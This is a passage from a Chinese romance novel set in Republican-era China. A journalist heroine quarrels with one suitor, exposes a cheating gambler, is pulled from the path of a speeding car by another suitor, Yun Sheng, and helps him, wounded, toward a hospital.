“咳咳、咳咳!”烟圈猝不及防地喷在她的脸上,带着微苦的尼古丁气息,许甯被二手烟熏得脑袋昏花。
反应过来时,手已经按在他的手上,借力一口咬在上面。
意识到他好像说了什么,但她没听清,于是继续咬着他的手问:
“唔?尼索沈莫?”
“…”
喉间滚出抵哑的闷哼,严诲紧急松手,看着手上的一排牙齿印,无语道:“你属狗的吗?”
“对,狗急跳墙。”许甯捂住鼻子,指着他手中的烟:“你抽什么风,还抽烟。”
严诲顺着她的目光,将香烟湮灭在指尖。
他并不常吸烟,但紧张烦闷上头,就忍不住来一根。
“你知道我刚才说了什么吗?”
就在他沉浸在许甯表情羞涩、或是暴躁的紧张氛围中,她松开手,一脚踩上他的皮鞋。
“嘶!”严诲怒不可遏:“你做什么!”
“你不是问我你说了什么吗?”许甯双手叉腰,脚下碾了下:“你骂我是狗。”
“那你不是答应了吗?”
“我那是迫于形势啊混蛋。”
街道上,响起两人针锋相对的争吵声,众人纷纷瞧过来,却只当是情侣闹别扭。
云笙站在窗边看了许久,直到两人骂得上头,不欢而散地离开。
他走回卧室,掀开琴盖,指尖敲下的音符跳动着,化作一条一望无际的冰河。
经此一闹,直到回家后,严诲坐在床头,才想起本来是想问许甯的心意,结果被全盘打乱。
他一时烦闷,仰倒在床上。
这一夜,许甯却睡的很好,梦里云笙穿着戏服,台下观众仅有她一人,他清唱着无题。
随着歌声绕梁,背景由灯光照射的戏台,化作白炽光的医院,戏服变作白大褂。
云笙—不,此刻是沈斛,他低头看怀表,随后抬头看她,挑了挑眉,眼里笑意暧昧明显。
许甯心跳得很快,快到她惊醒过来,她捂住胸膛,心脏跳得厉害。
“真是疯了。”她喃喃道,使劲撸了把头发,起床准备出门。
她今天要去找根生,然后去他家完成采访。
带上笔记,为了不再被严诲逮住,她特意换上裤装,把长发梳成辫子盘在头顶,再带上一顶足以遮住全脸的黑帽。
只要不细看,谁都只当她是个男人。
许甯对这身打扮很满意。
因为她出门时撞见了严诲的雪弗兰,他正从车上下来,与她擦肩而过时,并没发现她。
“少爷,花。”
“你先回去,十二点再来接我。”严诲接过花,朝着巷子里走去。
是一大束玫瑰花,许甯摇摇头,不知道他要做什么。
也许是给许宓的,她猜想,没管那么多,坐上黄包车离开。
就在她坐上黄包车时,也瞧见个眼熟的人——
上次的色狼车夫,将草帽折成两半,扇着风,正和别人在地上赌骰子。
她亲眼目睹他作弊,从手心迅速换下骰子。
“我赢了!”
“啊!”
许甯小心地将捡起的石头往他手上扔,顿时另一个被藏在手心的骰子也砸落下来。
“哪来的骰子?”
“好啊,你出老千!”
“不是我。”男人解释着,但铁证如山,最后被人围起来。
看着被团团包围的男人,听着他的惨叫声,许甯心中一阵畅快。
黄包车行驶在街巷中,车夫是个中年人,头发有些发白,听到客人的笑声,也感慨道。
“这人是个二流子,吃喝嫖赌,打死也活该,前阵子有个身体不好的车夫拉客,他硬说人家抢他生意,就瞧他好欺负,摁着打人。”
许甯嘴角的笑意淡下来:“人被打死了吗?”
“还活着,不过半死不活。”车夫拉着她拐过窄巷,走进更宽敞的街道:“还是那车夫的儿子叫巡警过来,把人救了。”
“他儿子才八岁,确实勇气可嘉啊。”
许甯坐直了身子,愈发觉得这些人熟悉。
“你见过他吗?”
车夫努嘴,指着街道上奔跑的一道身影说:“就是那个卖报的小孩。”
许甯看过去,那个光着脚,在马路间喊着“卖报、卖报”的小孩,可不就是根生吗。
“师傅,停车。”许甯喊了一道,来往车辆又多,于是又喊了几声:“停车师傅,我现在下车。”
“车太多了,您小心些。”车夫停在路边,叮嘱道。
许甯点点头,付过钱,就赶忙上前去找根生。
“根生!”她在大街上呼喊着,此时人流量多,汽车引擎、商人呐喊的声音全都混杂在一起。
根生没有听到,继续跑着卖报。
如果不是他稚气洪亮的声音,许甯真没办法找到他。
“根生!”她一边喊着,一边错过人群,此时根生又穿过马路,跑到另一侧。
卖报声越来越远,许甯心中着急,跟着横过马路。
突然。
一股强烈的紧急鸣笛声响起,许甯回过头,发现不知道哪里窜出来辆极快的轿车,正冲着她急速驶来。
耳边风流的格外快,但又似乎很慢,慢到她能看见车前的大灯亮起,刺着她的眼睛。
她忽然
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很想哭。
“许甯!”
呼喊声被风撕得支离破碎。
转瞬间,她被按在温暖中翻滚,耳边的风轻轻的,有人护着她的头。
是谁的怀抱?
她带着不自觉流下的泪水,黑帽被吹走,发辫散落,狼狈地抬头。
入目,是如清流暖阳的一张脸,琥珀色眼眸闪烁着,胸膛因急促的呼吸颤动,她也能感受到。
“云笙。”她鼻头一酸,埋在他怀里失声痛哭。
差一点,她就死了。
生命的脆弱,往往在劫后余生的那一刻,才后知后觉地感到害怕。
“没事的,没事的。”云笙僵了一瞬,手轻轻拍在她的肩上,轻声安慰着。
周围人凑上来,想扶两人起身。
云笙却摆手示意他们别上前,指了指怀里发抖的人,眼神示意:让她再哭会吧。
众人理解,又是齐齐骂道。
“真是天杀的!在闹市也敢把车开这么快。”
“可不是,幸好我躲得快,差点也跟着遭殃。”
议论声中,忽然有人指着云笙的后背,急声道:“小兄弟,你的后背在渗血!”
云笙苍白着脸,摇头表示无事,谁知怀中人抽着鼻子抬头,声音沙哑。
“你受伤了?让我看看。”
“没事…嘶。”许甯不顾他的反抗,从他怀中爬起,就要看他的伤口,谁知云笙挣扎太过,不小心蹭到伤口。
她慌忙赶忙扶住他,目光扫过被血浸湿的长衫,触目惊心,像是被鞭打般,一道连着一道。
“都是血。”许甯一愣,鼻头又是一酸。
哭过之后,她似乎更容易哭了。
云笙低叹一声,抬手扣住她的的下巴,在她愣神之际,用指腹轻轻擦过含泪的眼角。
“我没事,只是擦伤。”他温和微笑。
许甯还没从他的动作回神,周围人已开始笑骂她:“傻姑娘,还不带他去上药。”
此话一出,众人附和。
许甯被众人调侃,这才回过神来,指尖沾着他长衫上的血,声音发颤:“我们现在去买药。”
云笙点点头,任由她扶着,顺着路人指的医院方向去。
许甯一边留意着来往的人流,一边用力搀扶着云笙,还时不时观察他的状态。
云笙目光流连过她攥得发白的指尖上,默不作声地捂嘴轻咳两声。
许甯心头一紧,忙问:“你还好吗?”
“我没事。”声音依旧温和,却轻得一吹即散。
又是“没事”,许甯咬着唇。
脸白得接近透明,还咳嗽,还没事!
许甯气恼着,气他不在乎自己的身体,可又没法和他置气。
只好绕过他受伤的后背,手臂小心地环住他的腰,触到紧绷的肌肤时,他一颤。
她假装没察觉,将他小心地带进怀里。
只是他实在太高,反倒像是整个人被他倚住。
于是马路上出现一道奇观。
身穿月白长衫的清隽男人,下巴轻轻搁在女子肩头,她的目光紧紧盯着前方的路,每一步慢却稳。
颈侧不断有热气扫过,她满心记挂着他的伤势,竟丝毫没察觉——
云笙正微微侧着脸,刻意将温热的呼吸一遍遍拂过敏感的颈侧。